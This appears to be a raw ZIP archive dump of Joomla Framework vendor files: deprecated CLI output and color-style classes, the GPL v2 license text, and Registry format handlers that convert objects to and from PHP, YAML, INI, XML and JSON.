Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Cli\Output\Processor; /** * Class ProcessorInterface. * * @since 1.1.0 * @deprecated 2.0 Use the `joomla/console` package instead */ interface ProcessorInterface { /** * Process the provided output into a string. * * @param string $output The string to process. * * @return string * * @since 1.1.0 */ public function process($output); } PKÜ�\�����3vendor/joomla/application/src/Cli/Output/Stdout.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Cli\Output; use Joomla\Application\Cli\CliOutput; /** * Class Stdout. * * @since 1.0 * @deprecated 2.0 Use the `joomla/console` package instead */ class Stdout extends CliOutput { /** * Write a string to standard output * * @param string $text The text to display. * @param boolean $nl True (default) to append a new line at the end of the output string. * * @return Stdout Instance of $this to allow chaining. * * @codeCoverageIgnore * @since 1.0 */ public function out($text = '', $nl = true) { fwrite(STDOUT, $this->getProcessor()->process($text) . ($nl ? "\n" : null)); return $this; } } PKÜ�\MS�**0vendor/joomla/application/src/Cli/ColorStyle.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Cli; /** * Class ColorStyle * * @since 1.0 * @deprecated 2.0 Use the `joomla/console` package instead */ final class ColorStyle { /** * Known colors * * @var array * @since 1.0 */ private static $knownColors = array( 'black' => 0, 'red' => 1, 'green' => 2, 'yellow' => 3, 'blue' => 4, 'magenta' => 5, 'cyan' => 6, 'white' => 7, ); /** * Known styles * * @var array * @since 1.0 */ private static $knownOptions = array( 'bold' => 1, 'underscore' => 4, 'blink' => 5, 'reverse' => 7, ); /** * Foreground base value * * @var integer * @since 1.0 */ private static $fgBase = 30; /** * Background base value * * @var integer * @since 1.0 */ private static $bgBase = 40; /** * Foreground color * * @var integer * @since 1.0 */ private $fgColor = 0; /** * Background color * * @var integer * @since 1.0 */ private $bgColor = 0; /** * Array of style options * * @var array * @since 1.0 */ private $options = array(); /** * Constructor * * @param string $fg Foreground color. * @param string $bg Background color. * @param array $options Style options. * * @since 1.0 * @throws \InvalidArgumentException */ public function __construct($fg = '', $bg = '', $options = array()) { if ($fg) { if (array_key_exists($fg, static::$knownColors) == false) { throw new \InvalidArgumentException( sprintf('Invalid foreground color "%1$s" [%2$s]', $fg, implode(', ', $this->getKnownColors()) ) ); } $this->fgColor = static::$fgBase + static::$knownColors[$fg]; } if ($bg) { if (array_key_exists($bg, static::$knownColors) == false) { throw new \InvalidArgumentException( sprintf('Invalid background color "%1$s" [%2$s]', $bg, implode(', ', $this->getKnownColors()) ) ); } $this->bgColor = static::$bgBase + static::$knownColors[$bg]; } foreach ($options as $option) { if (array_key_exists($option, static::$knownOptions) == false) { throw new \InvalidArgumentException( sprintf('Invalid option "%1$s" [%2$s]', $option, implode(', ', $this->getKnownOptions()) ) ); } $this->options[] = $option; } } /** * Convert to a string. * * @return string * * @since 1.0 */ public function __toString() { return $this->getStyle(); } /** * Create a color style from a parameter string. * * Example: fg=red;bg=blue;options=bold,blink * * @param string $string The parameter string. * * @return ColorStyle Instance of $this to allow chaining. * * @since 1.0 * @throws \RuntimeException */ public static function fromString($string) { $fg = ''; $bg = ''; $options = array(); $parts = explode(';', $string); foreach ($parts as $part) { $subParts = explode('=', $part); if (\count($subParts) < 2) { continue; } switch ($subParts[0]) { case 'fg': $fg = $subParts[1]; break; case 'bg': $bg = $subParts[1]; break; case 'options': $options = explode(',', $subParts[1]); break; default: throw new \RuntimeException('Invalid option'); break; } } return new self($fg, $bg, $options); } /** * Get the translated color code. * * @return string * * @since 1.0 */ public function getStyle() { $values = array(); if ($this->fgColor) { $values[] = $this->fgColor; } if ($this->bgColor) { $values[] = $this->bgColor; } foreach ($this->options as $option) { $values[] = static::$knownOptions[$option]; } return implode(';', $values); } /** * Get the known colors. * * @return string * * @since 1.0 */ public function getKnownColors() { return array_keys(static::$knownColors); } /** * Get the known options. * * @return array * * @since 1.0 */ public function getKnownOptions() { return array_keys(static::$knownOptions); } } PKÜ�\�V;��/vendor/joomla/application/src/Cli/CliOutput.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Cli; use Joomla\Application\Cli\Output\Processor\ProcessorInterface; /** * Class CliOutput * * @since 1.0 * @deprecated 2.0 Use the `joomla/console` package instead */ abstract class CliOutput { /** * Color processing object * * @var ProcessorInterface * @since 1.0 */ protected $processor; /** * Constructor * * @param ProcessorInterface $processor The output processor. * * @since 1.1.2 */ public function __construct(ProcessorInterface $processor = null) { $this->setProcessor(($processor instanceof ProcessorInterface) ? $processor : new Output\Processor\ColorProcessor); } /** * Set a processor * * @param ProcessorInterface $processor The output processor. * * @return Stdout Instance of $this to allow chaining. * * @since 1.0 */ public function setProcessor(ProcessorInterface $processor) { $this->processor = $processor; return $this; } /** * Get a processor * * @return ProcessorInterface * * @since 1.0 */ public function getProcessor() { return $this->processor; } /** * Write a string to an output handler. * * @param string $text The text to display. * @param boolean $nl True (default) to append a new line at the end of the output string. * * @return void * * @since 1.0 * @codeCoverageIgnore */ abstract public function out($text = '', $nl = true); } PKÜ�\~��u 4vendor/joomla/application/src/Cli/ColorProcessor.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Cli; use \Joomla\Application\Cli\Output\Processor\ColorProcessor as RealColorProcessor; /** * Class ColorProcessor. * * @since 1.0 * @deprecated 2.0 Use the `joomla/console` package instead */ class ColorProcessor extends RealColorProcessor { } PKÜ�\�P�E�E!vendor/joomla/application/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\��� )vendor/joomla/registry/src/Format/Php.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry\Format; use Joomla\Registry\AbstractRegistryFormat; /** * PHP class format handler for Registry * * @since 1.0 */ class Php extends AbstractRegistryFormat { /** * Converts an object into a php class string. * - NOTE: Only one depth level is supported. * * @param object $object Data Source Object * @param array $params Parameters used by the formatter * * @return string Config class formatted string * * @since 1.0 */ public function objectToString($object, $params = array()) { // A class must be provided $class = !empty($params['class']) ? $params['class'] : 'Registry'; // Build the object variables string $vars = ''; foreach (get_object_vars($object) as $k => $v) { if (is_scalar($v)) { $vars .= "\tpublic $" . $k . " = '" . addcslashes($v, '\\\'') . "';\n"; } elseif (\is_array($v) || \is_object($v)) { $vars .= "\tpublic $" . $k . ' = ' . $this->getArrayString((array) $v) . ";\n"; } } $str = "<?php\n"; // If supplied, add a namespace to the class object if (isset($params['namespace']) && $params['namespace'] !== '') { $str .= 'namespace ' . $params['namespace'] . ";\n\n"; } $str .= 'class ' . $class . " {\n"; $str .= $vars; $str .= '}'; // Use the closing tag if it not set to false in parameters. if (!isset($params['closingtag']) || $params['closingtag'] !== false) { $str .= "\n?>"; } return $str; } /** * Parse a PHP class formatted string and convert it into an object. * * @param string $data PHP Class formatted string to convert. * @param array $options Options used by the formatter. * * @return object Data object. * * @since 1.0 */ public function stringToObject($data, array $options = array()) { return new \stdClass; } /** * Method to get an array as an exported string. * * @param array $a The array to get as a string. * * @return string * * @since 1.0 */ protected function getArrayString($a) { $s = 'array('; $i = 0; foreach ($a as $k => $v) { $s .= $i ? ', ' : ''; $s .= '"' . $k . '" => '; if (\is_array($v) || \is_object($v)) { $s .= $this->getArrayString((array) $v); } else { $s .= '"' . addslashes($v) . '"'; } $i++; } $s .= ')'; return $s; } } PKÜ�\i;�#��*vendor/joomla/registry/src/Format/Yaml.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry\Format; use Joomla\Registry\AbstractRegistryFormat; use Symfony\Component\Yaml\Dumper as SymfonyYamlDumper; use Symfony\Component\Yaml\Parser as SymfonyYamlParser; /** * YAML format handler for Registry. * * @since 1.0 */ class Yaml extends AbstractRegistryFormat { /** * The YAML parser class. * * @var \Symfony\Component\Yaml\Parser * @since 1.0 */ private $parser; /** * The YAML dumper class. * * @var \Symfony\Component\Yaml\Dumper * @since 1.0 */ private $dumper; /** * Construct to set up the parser and dumper * * @since 1.0 */ public function __construct() { $this->parser = new SymfonyYamlParser; $this->dumper = new SymfonyYamlDumper; } /** * Converts an object into a YAML formatted string. * We use json_* to convert the passed object to an array. * * @param object $object Data source object. * @param array $options Options used by the formatter. * * @return string YAML formatted string. * * @since 1.0 */ public function objectToString($object, $options = array()) { $array = json_decode(json_encode($object), true); return $this->dumper->dump($array, 2, 0); } /** * Parse a YAML formatted string and convert it into an object. * We use the json_* methods to convert the parsed YAML array to an object. * * @param string $data YAML formatted string to convert. * @param array $options Options used by the formatter. * * @return object Data object. * * @since 1.0 */ public function stringToObject($data, array $options = array()) { $array = $this->parser->parse(trim($data)); return (object) json_decode(json_encode($array)); } } PKÜ�\�����)vendor/joomla/registry/src/Format/Ini.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry\Format; use Joomla\Registry\AbstractRegistryFormat; use Joomla\Utilities\ArrayHelper; use stdClass; /** * INI format handler for Registry. * * @since 1.0 */ class Ini extends AbstractRegistryFormat { /** * Default options array * * @var array * @since 1.3.0 */ protected static $options = array( 'supportArrayValues' => false, 'parseBooleanWords' => false, 'processSections' => false, ); /** * A cache used by stringToObject. * * @var array * @since 1.0 */ protected static $cache = array(); /** * Converts an object into an INI formatted string * - Unfortunately, there is no way to have ini values nested further than two * levels deep. Therefore we will only go through the first two levels of * the object. * * @param object $object Data source object. * @param array $options Options used by the formatter. * * @return string INI formatted string. * * @since 1.0 */ public function objectToString($object, $options = array()) { $options = array_merge(self::$options, $options); $supportArrayValues = $options['supportArrayValues']; $local = array(); $global = array(); $variables = get_object_vars($object); $last = \count($variables); // Assume that the first element is in section $inSection = true; // Iterate over the object to set the properties. foreach ($variables as $key => $value) { // If the value is an object then we need to put it in a local section. if (\is_object($value)) { // Add an empty line if previous string wasn't in a section if (!$inSection) { $local[] = ''; } // Add the section line. $local[] = '[' . $key . ']'; // Add the properties for this section. foreach (get_object_vars($value) as $k => $v) { if (\is_array($v) && $supportArrayValues) { $assoc = ArrayHelper::isAssociative($v); foreach ($v as $arrayKey => $item) { $arrayKey = $assoc ? $arrayKey : ''; $local[] = $k . '[' . $arrayKey . ']=' . $this->getValueAsIni($item); } } else { $local[] = $k . '=' . $this->getValueAsIni($v); } } // Add empty line after section if it is not the last one if (--$last !== 0) { $local[] = ''; } } elseif (\is_array($value) && $supportArrayValues) { $assoc = ArrayHelper::isAssociative($value); foreach ($value as $arrayKey => $item) { $arrayKey = $assoc ? $arrayKey : ''; $global[] = $key . '[' . $arrayKey . ']=' . $this->getValueAsIni($item); } } else { // Not in a section so add the property to the global array. $global[] = $key . '=' . $this->getValueAsIni($value); $inSection = false; } } return implode("\n", array_merge($global, $local)); } /** * Parse an INI formatted string and convert it into an object. * * @param string $data INI formatted string to convert. * @param array $options An array of options used by the formatter, or a boolean setting to process sections. * * @return object Data object. * * @since 1.0 */ public function stringToObject($data, array $options = array()) { $options = array_merge(self::$options, $options); // Check the memory cache for already processed strings. $hash = md5($data . ':' . (int) $options['processSections']); if (isset(self::$cache[$hash])) { return self::$cache[$hash]; } // If no lines present just return the object. if (empty($data)) { return new stdClass; } $obj = new stdClass; $section = false; $array = false; $lines = explode("\n", $data); // Process the lines. foreach ($lines as $line) { // Trim any unnecessary whitespace. $line = trim($line); // Ignore empty lines and comments. if (empty($line) || ($line[0] === ';')) { continue; } if ($options['processSections']) { $length = \strlen($line); // If we are processing sections and the line is a section add the object and continue. if ($line[0] === '[' && ($line[$length - 1] === ']')) { $section = substr($line, 1, $length - 2); $obj->$section = new stdClass; continue; } } elseif ($line[0] === '[') { continue; } // Check that an equal sign exists and is not the first character of the line. if (!strpos($line, '=')) { // Maybe throw exception? continue; } // Get the key and value for the line. list($key, $value) = explode('=', $line, 2); // If we have an array item if (substr($key, -1) === ']' && ($openBrace = strpos($key, '[', 1)) !== false) { if ($options['supportArrayValues']) { $array = true; $arrayKey = substr($key, $openBrace + 1, -1); // If we have a multi-dimensional array or malformed key if (strpos($arrayKey, '[') !== false || strpos($arrayKey, ']') !== false) { // Maybe throw exception? continue; } $key = substr($key, 0, $openBrace); } else { continue; } } // Validate the key. if (preg_match('/[^A-Z0-9_]/i', $key)) { // Maybe throw exception? continue; } // If the value is quoted then we assume it is a string. $length = \strlen($value); if ($length && ($value[0] === '"') && ($value[$length - 1] === '"')) { // Strip the quotes and Convert the new line characters. $value = stripcslashes(substr($value, 1, $length - 2)); $value = str_replace('\n', "\n", $value); } else { // If the value is not quoted, we assume it is not a string. // If the value is 'false' assume boolean false. if ($value === 'false') { $value = false; } elseif ($value === 'true') { // If the value is 'true' assume boolean true. $value = true; } elseif ($options['parseBooleanWords'] && \in_array(strtolower($value), array('yes', 'no'), true)) { // If the value is 'yes' or 'no' and option is enabled assume appropriate boolean $value = (strtolower($value) === 'yes'); } elseif (is_numeric($value)) { // If the value is numeric than it is either a float or int. // If there is a period then we assume a float. if (strpos($value, '.') !== false) { $value = (float) $value; } else { $value = (int) $value; } } } // If a section is set add the key/value to the section, otherwise top level. if ($section) { if ($array) { if (!isset($obj->$section->$key)) { $obj->$section->$key = array(); } if (!empty($arrayKey)) { $obj->$section->{$key}[$arrayKey] = $value; } else { $obj->$section->{$key}[] = $value; } } else { $obj->$section->$key = $value; } } else { if ($array) { if (!isset($obj->$key)) { $obj->$key = array(); } if (!empty($arrayKey)) { $obj->{$key}[$arrayKey] = $value; } else { $obj->{$key}[] = $value; } } else { $obj->$key = $value; } } $array = false; } // Cache the string to save cpu cycles -- thus the world :) self::$cache[$hash] = clone $obj; return $obj; } /** * Method to get a value in an INI format. * * @param mixed $value The value to convert to INI format. * * @return string The value in INI format. * * @since 1.0 */ protected function getValueAsIni($value) { $string = ''; switch (\gettype($value)) { case 'integer': case 'double': $string = $value; break; case 'boolean': $string = $value ? 'true' : 'false'; break; case 'string': // Sanitize any CRLF characters.. $string = '"' . str_replace(array("\r\n", "\n"), '\\n', $value) . '"'; break; } return $string; } } PKÜ�\��*]])vendor/joomla/registry/src/Format/Xml.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry\Format; use Joomla\Registry\AbstractRegistryFormat; use SimpleXMLElement; use stdClass; /** * XML format handler for Registry. * * @since 1.0 */ class Xml extends AbstractRegistryFormat { /** * Converts an object into an XML formatted string. * - If more than two levels of nested groups are necessary, since INI is not * useful, XML or another format should be used. * * @param object $object Data source object. * @param array $options Options used by the formatter. * * @return string XML formatted string. * * @since 1.0 */ public function objectToString($object, $options = array()) { $rootName = isset($options['name']) ? $options['name'] : 'registry'; $nodeName = isset($options['nodeName']) ? $options['nodeName'] : 'node'; // Create the root node. $root = simplexml_load_string('<' . $rootName . ' />'); // Iterate over the object members. $this->getXmlChildren($root, $object, $nodeName); return $root->asXML(); } /** * Parse a XML formatted string and convert it into an object. * * @param string $data XML formatted string to convert. * @param array $options Options used by the formatter. * * @return object Data object. * * @since 1.0 */ public function stringToObject($data, array $options = array()) { $obj = new stdClass; // Parse the XML string. $xml = simplexml_load_string($data); foreach ($xml->children() as $node) { $obj->{$node['name']} = $this->getValueFromNode($node); } return $obj; } /** * Method to get a PHP native value for a SimpleXMLElement object. -- called recursively * * @param object $node SimpleXMLElement object for which to get the native value. * * @return mixed Native value of the SimpleXMLElement object. * * @since 1.0 */ protected function getValueFromNode($node) { switch ($node['type']) { case 'integer': $value = (string) $node; return (int) $value; case 'string': return (string) $node; case 'boolean': $value = (string) $node; return (bool) $value; case 'double': $value = (string) $node; return (float) $value; case 'array': $value = array(); foreach ($node->children() as $child) { $value[(string) $child['name']] = $this->getValueFromNode($child); } break; default: $value = new stdClass; foreach ($node->children() as $child) { $value->{$child['name']} = $this->getValueFromNode($child); } break; } return $value; } /** * Method to build a level of the XML string -- called recursively * * @param SimpleXMLElement $node SimpleXMLElement object to attach children. * @param object $var Object that represents a node of the XML document. * @param string $nodeName The name to use for node elements. * * @return void * * @since 1.0 */ protected function getXmlChildren(SimpleXMLElement $node, $var, $nodeName) { // Iterate over the object members. foreach ((array) $var as $k => $v) { if (is_scalar($v)) { $n = $node->addChild($nodeName, $v); $n->addAttribute('name', $k); $n->addAttribute('type', \gettype($v)); } else { $n = $node->addChild($nodeName); $n->addAttribute('name', $k); $n->addAttribute('type', \gettype($v)); $this->getXmlChildren($n, $v, $nodeName); } } } } PKÜ�\U�a,zz*vendor/joomla/registry/src/Format/Json.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry\Format; use Joomla\Registry\AbstractRegistryFormat; /** * JSON format handler for Registry. * * @since 1.0 */ class Json extends AbstractRegistryFormat { /** * Converts an object into a JSON formatted string. * * @param object $object Data source object. * @param array $options Options used by the formatter. * * @return string JSON formatted string. * * @since 1.0 */ public function objectToString($object, $options = array()) { $bitMask = isset($options['bitmask']) ? $options['bitmask'] : 0; // The depth parameter is only present as of PHP 5.5 if (version_compare(PHP_VERSION, '5.5', '>=')) { $depth = isset($options['depth']) ? $options['depth'] : 512; return json_encode($object, $bitMask, $depth); } return json_encode($object, $bitMask); } /** * Parse a JSON formatted string and convert it into an object. * * If the string is not in JSON format, this method will attempt to parse it as INI format. * * @param string $data JSON formatted string to convert. * @param array $options Options used by the formatter. * * @return object Data object. * * @since 1.0 * @throws \RuntimeException */ public function stringToObject($data, array $options = array('processSections' => false)) { $data = trim($data); // Because developers are clearly not validating their data before pushing it into a Registry, we'll do it for them if (empty($data)) { return new \stdClass; } if ($data !== '' && $data[0] !== '{') { return AbstractRegistryFormat::getInstance('Ini')->stringToObject($data, $options); } $decoded = json_decode($data); // Check for an error decoding the data if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) { throw new \RuntimeException(sprintf('Error decoding JSON data: %s', json_last_error_msg())); } return (object) $decoded; } } PKÜ�\� 